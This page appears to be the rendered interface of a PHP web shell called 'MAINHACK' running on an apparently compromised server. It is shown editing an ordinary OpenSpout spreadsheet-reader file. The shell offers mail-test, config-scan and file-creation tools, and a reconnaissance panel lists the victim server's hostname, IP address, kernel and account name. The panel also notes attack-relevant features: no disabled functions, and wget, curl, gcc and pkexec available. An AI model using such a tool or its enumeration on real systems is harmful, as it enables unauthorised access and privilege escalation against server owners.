[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ReaderFactory.php
<?php namespace OpenSpout\Reader\Common\Creator; use OpenSpout\Common\Creator\HelperFactory; use OpenSpout\Common\Exception\UnsupportedTypeException; use OpenSpout\Common\Type; use OpenSpout\Reader\CSV\Creator\InternalEntityFactory as CSVInternalEntityFactory; use OpenSpout\Reader\CSV\Manager\OptionsManager as CSVOptionsManager; use OpenSpout\Reader\CSV\Reader as CSVReader; use OpenSpout\Reader\ODS\Creator\HelperFactory as ODSHelperFactory; use OpenSpout\Reader\ODS\Creator\InternalEntityFactory as ODSInternalEntityFactory; use OpenSpout\Reader\ODS\Creator\ManagerFactory as ODSManagerFactory; use OpenSpout\Reader\ODS\Manager\OptionsManager as ODSOptionsManager; use OpenSpout\Reader\ODS\Reader as ODSReader; use OpenSpout\Reader\ReaderInterface; use OpenSpout\Reader\XLSX\Creator\HelperFactory as XLSXHelperFactory; use OpenSpout\Reader\XLSX\Creator\InternalEntityFactory as XLSXInternalEntityFactory; use OpenSpout\Reader\XLSX\Creator\ManagerFactory as XLSXManagerFactory; use OpenSpout\Reader\XLSX\Manager\OptionsManager as XLSXOptionsManager; use OpenSpout\Reader\XLSX\Manager\SharedStringsCaching\CachingStrategyFactory; use OpenSpout\Reader\XLSX\Reader as XLSXReader; /** * This factory is used to create readers, based on the type of the file to be read. * It supports CSV, XLSX and ODS formats. */ class ReaderFactory { /** * Creates a reader by file extension. * * @param string $path The path to the spreadsheet file. Supported extensions are .csv,.ods and .xlsx * * @throws \OpenSpout\Common\Exception\UnsupportedTypeException * * @return ReaderInterface */ public static function createFromFile(string $path) { $extension = strtolower(pathinfo($path, PATHINFO_EXTENSION)); return self::createFromType($extension); } /** * This creates an instance of the appropriate reader, given the type of the file to be read. * * @param string $readerType Type of the reader to instantiate * * @throws \OpenSpout\Common\Exception\UnsupportedTypeException * * @return ReaderInterface */ public static function createFromType($readerType) { switch ($readerType) { case Type::CSV: return self::createCSVReader(); case Type::XLSX: return self::createXLSXReader(); case Type::ODS: return self::createODSReader(); default: throw new UnsupportedTypeException('No readers supporting the given type: '.$readerType); } } /** * @return CSVReader */ private static function createCSVReader() { $optionsManager = new CSVOptionsManager(); $helperFactory = new HelperFactory(); $entityFactory = new CSVInternalEntityFactory($helperFactory); $globalFunctionsHelper = $helperFactory->createGlobalFunctionsHelper(); return new CSVReader($optionsManager, $globalFunctionsHelper, $entityFactory); } /** * @return XLSXReader */ private static function createXLSXReader() { $optionsManager = new XLSXOptionsManager(); $helperFactory = new XLSXHelperFactory(); $managerFactory = new XLSXManagerFactory($helperFactory, new CachingStrategyFactory()); $entityFactory = new XLSXInternalEntityFactory($managerFactory, $helperFactory); $globalFunctionsHelper = $helperFactory->createGlobalFunctionsHelper(); return new XLSXReader($optionsManager, $globalFunctionsHelper, $entityFactory, $managerFactory); } /** * @return ODSReader */ private static function createODSReader() { $optionsManager = new ODSOptionsManager(); $helperFactory = new ODSHelperFactory(); $managerFactory = new ODSManagerFactory(); $entityFactory = new ODSInternalEntityFactory($helperFactory, $managerFactory); $globalFunctionsHelper = $helperFactory->createGlobalFunctionsHelper(); return new ODSReader($optionsManager, $globalFunctionsHelper, $entityFactory); } }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.43 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002